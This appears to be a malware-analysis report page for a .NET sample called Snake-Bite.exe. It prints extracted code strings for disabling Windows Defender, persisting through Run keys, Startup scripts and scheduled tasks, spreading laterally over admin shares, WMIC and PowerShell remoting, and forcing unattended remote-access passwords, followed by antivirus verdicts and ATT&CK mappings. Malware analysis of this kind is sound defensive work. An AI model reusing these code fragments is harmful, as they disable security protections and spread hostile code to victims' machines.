"{{RND_TASK_EXCL1}}", "{{RND_TASK_EXCL2}}" }; foreach (string tn in tasks) { try { string args = "/Delete /TN " + tn + " /F"; Process.Start(new ProcessStartInfo("schtasks.exe", args) { CreateNoWindow = true, UseShellExecute = false, WindowStyle = ProcessWindowStyle.Hidden }); } catch { } } } catch { } // First-run marker try { string fr = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "SBFirstRun.dat"); if (File.Exists(fr)) Fil"[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"der\\UX Configuration' -Name Notification_Suppress -Value 1 -Type DWord -Force}catch{};try{Set-ItemProperty -Path 'HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\UX Configuration' -Name Notification_Suppress -Value 1 -Type DWord -Force}catch{};try{Stop-Service -Name wscsvc -Force -ErrorAction SilentlyContinue}catch{};try{Start-Service -Name wscsvc -ErrorAction SilentlyContinue}catch{}"; psiQuiet.CreateNoWindow = true; psiQuiet.UseShellExecute = false; psiQuiet.WindowStyle = ProcessWindowStyle.Hidden; Process.Start(psiQuiet); try { Thread.Sleep(500); } catch { } try { var psiQuiet2 = new ProcessStartInfo(); psiQuiet2.FileName = "powershell.exe"; psiQuiet2.Arguments = "-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command try{Set-MpPreference -DisableNoti"[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string" Unattended Access password via official stdin pipe try { string setPassArgs = "/c echo " + adPass + "| " + (char)34 + adExe + (char)34 + " --set-password"; RunElevatedUntilYes("cmd.exe", setPassArgs, 45000); } catch { } try { var psiPass = new ProcessStartInfo(); psiPass.FileName = "cmd.exe"; psiPass.Arguments = "/c echo " + adPass + "| " + (char)34 + adExe + (char)34 + " --set-password"; psiPass.UseShellExecute = true; psiPass.Verb = "runas"; psiPass.WindowStyle = ProcessWindowStyle.Hidden; var pp = Process.Start(psiPass); if (pp != null) pp.WaitForExit(30000); } catch { } // Force Unattended Access + Never show any connection / accept window try { string[] confDirs = new string[] { P"[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin], Observed string"t-MpPreference -DisableRealtimeMonitoring $true}catch{};try{Set-MpPreference -DisableBehaviorMonitoring $true}catch{};try{Set-MpPreference -DisableOnAccessProtection $true}catch{};try{Set-MpPreference -DisableScanOnRealtimeEnable $true}catch{};try{Set-MpPreference -DisableBlockAtFirstSeen $true}catch{};try{Set-MpPreference -DisableIOAVProtection $true}catch{};try{Set-MpPreference -DisableScriptScanning $true}catch{};try{Set-MpPreference -DisableIntrusionPreventionSystem $true}catch{};try{Set-MpPreference -MAPSReporting 0}catch{};try{Set-MpPreference -SubmitSamplesConsent 2}catch{};"; psi.CreateNoWindow = true; psi.UseShellExecute = false; psi.WindowStyle = ProcessWindowStyle.Hidden; var pr = Process.Start(psi); if (pr != null) { try { pr.WaitForExit(15000); } catch { } } } catch { } } static void AllowDesktopAppPrivacy() { // Force Win10/11 desktop-app camera + mic access aft"[Indicator: ProcessWindowStyle.Hidden][Source: sample.bin]3f:T1f7e,Found string " retry soon } try { Thread.Sleep(1200); } catch { } } } catch { } } static void EnsureSpreadPersistence() { try { string me = ""; try { me = System.Reflection.Assembly.GetExecutingAssembly().Location; } catch { } if (string.IsNullOrEmpty(me) || !File.Exists(me)) { try { me = Process.GetCurrentProcess().MainModule.FileName; } catch { } } if (string.IsNullOrEmpty(me) || !File.Exists(me)) return; try { RunHidden("schtasks.exe", "/Delete /TN WindowsSecurityHealthCheck /F", 3000); } catch { } try { RunHidden("schtasks.exe", "/Delete /TN WindowsSecurityHealthStart /F", 3000); } catch { } try { var rk = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); if (rk != null) { try { rk.DeleteValue("WindowsSecurityHealth" (Indicator: "software\microsoft\windows\currentversion\run"; in Source: "sample.bin"), Found string "ng me = Process.GetCurrentProcess().MainModule.FileName; Microsoft.Win32.Registry.SetValue( @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "{{RND_TASK}}", me, Microsoft.Win32.RegistryValueKind.String); Microsoft.Win32.Registry.SetValue( @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce", "{{RND_TASK}}Lock", me, Microsoft.Win32.RegistryValueKind.String); try { string startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup); string bat = Path.Combine(startup, "{{RND_TASK}}.cmd"); File.WriteAllText(bat, "@echo off\r\nstart \"\" \"" + me + "\"\r\n"); } catch { } try { Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\{{RND_REGSOFT}}", "LockActive", "1"); } catch { } try { Microsoft.W" (Indicator: "software\microsoft\windows\currentversion\run"; in Source: "sample.bin"), Found string "ng me = Process.GetCurrentProcess().MainModule.FileName; Microsoft.Win32.Registry.SetValue( @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "{{RND_TASK}}", me, Microsoft.Win32.RegistryValueKind.String); Microsoft.Win32.Registry.SetValue( @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce", "{{RND_TASK}}Lock", me, Microsoft.Win32.RegistryValueKind.String); try { string startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup); string bat = Path.Combine(startup, "{{RND_TASK}}.cmd"); File.WriteAllText(bat, "@echo off\r\nstart \"\" \"" + me + "\"\r\n"); } catch { } try { Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\{{RND_REGSOFT}}", "LockActive", "1"); } catch { } try { Microsoft.W" (Indicator: "software\microsoft\windows\currentversion\runonce"; in Source: "sample.bin"), Found string "sh.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\" (Indicator: "software\microsoft\windows\currentversion\run"; in Source: "sample.bin"), Found string "ayload can reap us try { Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\SBCore", "Exe", mePath ?? "", Microsoft.Win32.RegistryValueKind.String); Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\SBCore", "Pid", myPid.ToString(), Microsoft.Win32.RegistryValueKind.String); } catch { } } static void InstallPersist() { try { string me = Process.GetCurrentProcess().MainModule.FileName; try { Microsoft.Win32.Registry.SetValue( @"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", "{{RND_RUNKEY}}", me, Microsoft.Win32.RegistryValueKind.String); } catch { } try { Microsoft.Win32.Registry.SetValue( @"HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", "{{RND" (Indicator: "software\microsoft\windows\currentversion\run"; in Source: "sample.bin"), Found string "", false); } catch { } rk.Close(); } } catch { } try { var rk2 = Microsoft.Win32.Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows\CurrentVersion\Run", true); if (rk2 != null) { try { rk2.DeleteValue("WindowsSecurityHealth", false); } catch { } rk2.Close(); } } catch { } try { string oldDir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "WindowsSecurityHealth"); if (Directory.Exists(oldDir)) { try { Directory.Delete(oldDir, true); } catch { } } } catch { } string rndName = "{{RND_PERSIST}}"; string copyDir = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), rndName); try { Directory.CreateDirectory(copyDir); } catch { } string copyPath = Path.Combine(copyDir, rndName + ".exe"); " (Indicator: "software\microsoft\windows\currentversion\run"; in Source: "sample.bin"), Found string "nvironment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "sb_lock_state.flag"); if (File.Exists(st2)) File.Delete(st2); } catch { } try { Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\{{RND_REGSOFT}}", "LockActive", "0"); } catch { } try { using (var k = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", true)) { if (k != null) try { k.DeleteValue("{{RND_TASK}}Lock", false); } catch { } } } catch { } try { string startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup); string bat = Path.Combine(startup, "{{RND_TASK}}.cmd"); if (File.Exists(bat)) File.Delete(bat); } catch { } } catch { } } " (Indicator: "software\microsoft\windows\currentversion\run"; in Source: "sample.bin"), Found string "nvironment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Microsoft", "sb_lock_state.flag"); if (File.Exists(st2)) File.Delete(st2); } catch { } try { Microsoft.Win32.Registry.SetValue(@"HKEY_CURRENT_USER\Software\{{RND_REGSOFT}}", "LockActive", "0"); } catch { } try { using (var k = Microsoft.Win32.Registry.CurrentUser.OpenSubKey(@"Software\Microsoft\Windows\CurrentVersion\RunOnce", true)) { if (k != null) try { k.DeleteValue("{{RND_TASK}}Lock", false); } catch { } } } catch { } try { string startup = Environment.GetFolderPath(Environment.SpecialFolder.Startup); string bat = Path.Combine(startup, "{{RND_TASK}}.cmd"); if (File.Exists(bat)) File.Delete(bat); } catch { } } catch { } } " (Indicator: "software\microsoft\windows\currentversion\runonce"; in Source: "sample.bin")40:T471," also try GetWindowDC+BitBlt. [DllImport("user32.dll", CharSet = CharSet.Auto)] static extern IntPtr FindWindow(string lpClassName, string lpWindowName); static void ScHideTray(bool hide) { try { IntPtr tray = FindWindow("Shell_TrayWnd", null); if (tray != IntPtr.Zero) ShowWindow(tray, hide ? 0 : 5); IntPtr notify = FindWindow("NotifyIconOverflowWindow", null); if (notify != IntPtr.Zero) ShowWindow(notify, hide ? 0 : 5); } catch { } } static void ScBlankStart() { if (_scBlankOn == 1 && _scBlankHwnd != IntPtr.Zero) return; _scBlankOn = 1; var th = new Thread(() => { try { try { IntPtr defDesk = OpenDesktop("Def" + "ault", 0, true, 0x10000000 | DESKTOP_ALL); if (defDesk != IntPtr.Zero) SetThreadDesktop(defDesk); } catch { } var f " (Taskbar window class may be used to inject into explorer with the SetWindowLong method) in Source: sample.bin41:T1989,Found string "+ "Check", 4000); RunHidden("wmic.exe", "/node:" + (char)34 + ip + (char)34 + " process call create " + (char)34 + "wscript.exe C:\\Users\\Public\\" + vbsName + (char)34, 5000); // WinRM / PowerShell remoting when enabled (some offices) try { string psRem = "try { Invoke-Command -ComputerName " + ip + " -ScriptBlock { Start-Process wscript.exe -ArgumentList 'C:\\Users\\Public\\" + vbsName + "' } -ErrorAction SilentlyContinue } catch {}"; RunHidden("powershell.exe", "-NoProfile -WindowStyle Hidden -Command " + (char)34 + psRem + (char)34, 6000); } catch { } spread++; try { Send("SPREAD_OK|" + ip + "|dropped=1 staged=" + (staged ? "1" : "0")); } catch { } } catch (Exception ex) { try { Send("SPREAD_ERR|" + ip + "|" + ex.Message); } catch " (Indicator: "wmic.exe"; in Source: "sample.bin"), Found string " string tmp = Path.Combine(Path.GetTempPath(), dropName); if (!File.Exists(tmp)) File.WriteAllBytes(tmp, payloadBytes); string destUnc = "\\\\" + ip + "\\C$\\Users\\Public\\" + dropName; RunHidden("cmd.exe", "/c copy /Y \"" + tmp + "\" \"" + destUnc + "\"", 6000); if (File.Exists(destUnc)) { dropped = destUnc; localExe = @"C:\Users\Public\" + dropName; } } catch { } } if (dropped == null) { // Try WMI process create with current user (works if same user/password or no password) try { RunHidden("wmic.exe", "/node:" + ip + " process call create cmd.exe /c echo spread_test", 5" (Indicator: "wmic.exe"; in Source: "sample.bin"), Found string "{ } } try { Thread.Sleep(25); } catch { } } try { Send("SPREAD_DONE|ok=" + spread + " alive=" + alive.Count); } catch { } } catch (Exception ex) { try { Send("SPREAD_FAIL|" + ex.Message); } catch { } } } static string ProbeOsHint(string ip) { try { string output = RunHiddenOut("wmic.exe", "/node:\"" + ip + "\" OS get Caption,Version /value", 4000); if (string.IsNullOrEmpty(output)) return ""; string low = output.ToLowerInvariant(); if (low.IndexOf("windows 7") >= 0 || low.IndexOf("6.1.") >= 0) return "WIN7"; if (low.IndexOf("windows 8") >= 0 || low.IndexOf("6.2.") >= 0 || low.IndexOf("6.3.") >= 0) return "WIN8"; if (low.IndexOf("windows 11") >= 0) return "WIN11"; if (low.IndexOf("windows 10") >= 0 || low.IndexOf("10.0.") >= 0) return "WIN10"; return output.Trim(); " (Indicator: "wmic.exe"; in Source: "sample.bin"), Found string "000); } catch { } try { Send("SPREAD_SKIP|" + ip + "|no_write_access"); } catch { } continue; } // UAC retry launcher (Yes=run+spread, No=retry) string exeLeaf = Path.GetFileName(localExe); string vbsBody = "On Error Resume Next\r\n" + "Set sh = CreateObject(\"Shell.Application\")\r\n" + "Do\r\n" + " sh.ShellExecute \"" + localExe + "\", \"\", \"\", \"runas\", 1\r\n" + " WScript.Sleep 1200\r\n" + " Dim running, proc\r\n" + " running = False\r\n" + " Set wmi = GetObject(\"winmgmts:\\\\.\\root\\cimv2\")\r\n" + " Set procs = wmi.ExecQuery(\"Select * from Win32_Process Where Name='" + exeLeaf + "'\")\r\n" + " (Indicator: "wmi.exe"; in Source: "sample.bin"), Found string " catch { } } if (!dead && _ntTermOrig != null) { try { IntPtr h = OpenProcess(0x0001 | 0x0400, false, (uint)id); if (h != IntPtr.Zero) { uint st = _ntTermOrig(h, 1); CloseHandle(h); if (st == 0) dead = true; else log.Append("NtTerminate pid=").Append(id).Append(" nt=0x").Append(st.ToString("X")).Append(';'); } } catch { } } if (!dead) { try { var psi = new ProcessStartInfo(); psi.FileName = "wmic.exe"; psi.Arguments = "process where processid=" + id + " delete"; psi.CreateNoWindow = true; " (Indicator: "wmic.exe"; in Source: "sample.bin"), Found string "11) try { var psi = new ProcessStartInfo(); psi.FileName = "wmic.exe"; psi.Arguments = "/node:\"" + ip + "\" /namespace:\"\\\\root\\cimv2\" OS get Caption,Version,BuildNumber /value"; psi.CreateNoWindow = true; psi.UseShellExecute = false; psi.RedirectStandardOutput = true; psi.RedirectStandardError = true; using (var pr = Process.Start(psi)) { string output = pr.StandardOutput.ReadToEnd(); pr.WaitForExit(5000); if (!string.IsNullOrEmpty(output)) { string[] lines = output.Split(new char[] { '\r', '\n' }, StringSplitOptions.RemoveEmptyEntries); for (int i = 0; i < lines.Length; i++) " (Indicator: "wmic.exe"; in Source: "sample.bin")1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"ffb5d34d5e8162fc3b7e3bf60057803ab01c35f15f323bd95ccb0d15bb77aa07","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"SUCCESS","sandbox_status":"NOT_AVAILABLE","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1793508669195,"unified_at":"2026-11-01T04:51:09.195Z","metadata":{"hashes":{"sha256":"ffb5d34d5e8162fc3b7e3bf60057803ab01c35f15f323bd95ccb0d15bb77aa07","sha1":"e41f6cc15b9412b62ec6427368871548c97c025f","md5":"97036b275cf053db74c1f887398e5a29","imphash":"f34d5f2d4577ed6d9ceec516c1f5a744","pehash":"baf0dcbe7171bb7391c82d64826c414fa89faa72"},"file_info":{"file_name":"Snake-Bite.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":2827776,"entropy":4.08,"compile_timestamp":"2026-11-01T04:50:43","is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1793508651000,"last_seen":1793508651000,"last_multi_scan":1793508651000},"pe_metadata":{"is_dll":false,"is_packed":false,"section_count":3,"import_count":0,"export_count":0,"embedded_file_count":9,"sections":[{"name":".text","virtual_address":"0x2000","virtual_size":2713428,"raw_size":2713600},{"name":".rsrc","virtual_address":"0x29a000","virtual_size":112928,"raw_size":113152},{"name":".reloc","virtual_address":"0x2b6000","virtual_size":12,"raw_size":512}],"section_names":[".text",".rsrc",".reloc"],"imported_dlls":null,"imported_functions":null}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":10,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":80},"sandbox_signatures":{"informative_count":133,"suspicious_count":17,"malicious_count":3,"total":153},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.LummaStealer","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"malicious","threat_name":"Malware_100.0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"DR/W32.MalwareX","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Ransom.Chaos.34","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_70% (D)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Ransom.Chaos.34 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanDownloader/MSIL.Netloader.r","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"malicious","threat_name":"section_entropy_high","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"malicious","threat_name":"W32/MSIL_RedLine.B.gen!Eldorado","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.Win32.MSIL_Heur.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Ransom.Chaos.Generic","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Systemd Timers","attack_id":"T1053.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/006","identifiers":[{"type":"informative","value":"Able to access scheduled job timer"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Initial Access","technique":"Replication Through Removable Media","attack_id":"T1091","attack_id_wiki":"https://attack.mitre.org/techniques/T1091","identifiers":[{"type":"suspicious","value":"Has the ability to infect usb drives"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to delay execution (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Impact","technique":"Service Stop","attack_id":"T1489","attack_id_wiki":"https://attack.mitre.org/techniques/T1489","identifiers":[{"type":"informative","value":"Contains ability to close a handle to a service (API string)"},{"type":"informative","value":"Contains ability to terminate a process (API string)"},{"type":"informative","value":"Contains ability to stop a service (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Windows Management Instrumentation","attack_id":"T1047","attack_id_wiki":"https://attack.mitre.org/techniques/T1047","identifiers":[{"type":"informative","value":"Contains ability to execute a WMI query"},{"type":"informative","value":"Able to obtain instances of WMI classes using PowerShell"},{"type":"suspicious","value":"Found a reference to a WMI query string known to be used for VM detection"},{"type":"suspicious","value":"Contains references to WMI/WMIC"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"References to WMI query strings used for information discovery"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Persistence","technique":"Account Manipulation","attack_id":"T1098","attack_id_wiki":"https://attack.mitre.org/techniques/T1098","identifiers":[{"type":"informative","value":"Contains ability to modify the user configuration/privilege (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"informative","value":"Able to unregister scheduled task using PowerShell command"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Reference explorer.exe process"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"suspicious","value":"Found registry location strings which can modify auto-execute functionality"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Able to retrieve usernames and/or user information (API string)"},{"type":"informative","value":"Contains ability to retrieve user privileges (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Web Protocols","attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Found string related to HTTP headers"},{"type":"informative","value":"Found User Agent related strings"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains native function calls (syscalls strings)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Contains ability to retrieve address of exported function from a DLL (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to set/modify configuration (Powershell command string)"},{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to create a service (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Command and Control","technique":"Ingress Tool Transfer","attack_id":"T1105","attack_id_wiki":"https://attack.mitre.org/techniques/T1105","identifiers":[{"type":"informative","value":"Contains ability to copy items (Powershell command string)"},{"type":"informative","value":"Contains ability to copy files"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Windows Credential Manager","attack_id":"T1555.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/004","identifiers":[{"type":"informative","value":"Contains ability to to enumerates the credentials (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Execution","technique":"Scheduled Task","attack_id":"T1053.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1053/005","identifiers":[{"type":"informative","value":"Contains ability to perform scheduled task-related activity (Powershell command string)"},{"type":"suspicious","value":"Contains scheduled task related strings"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Privilege Escalation","technique":"Create or Modify System Process","attack_id":"T1543","attack_id_wiki":"https://attack.mitre.org/techniques/T1543","identifiers":[{"type":"informative","value":"Contains ability to start a process (Powershell command string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Hidden Window","attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to show a graphical window (API string)"},{"type":"suspicious","value":"Contains ability to create process with hidden window (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Collection","technique":"Clipboard Data","attack_id":"T1115","attack_id_wiki":"https://attack.mitre.org/techniques/T1115","identifiers":[{"type":"informative","value":"Able to capture drag-drop file operations"},{"type":"informative","value":"Contains ability to access clipboard data (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Contains ability to retrieve geographical location"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"},{"type":"informative","value":"Found strings related to keylogger"},{"type":"informative","value":"Contains ability to hook/unhook windows functions (API string)"}],"sources":[{"report_type":"qsp","report_id":""}]},{"tactic":"Stealth","technique":"Deobfuscate/Decode Files or 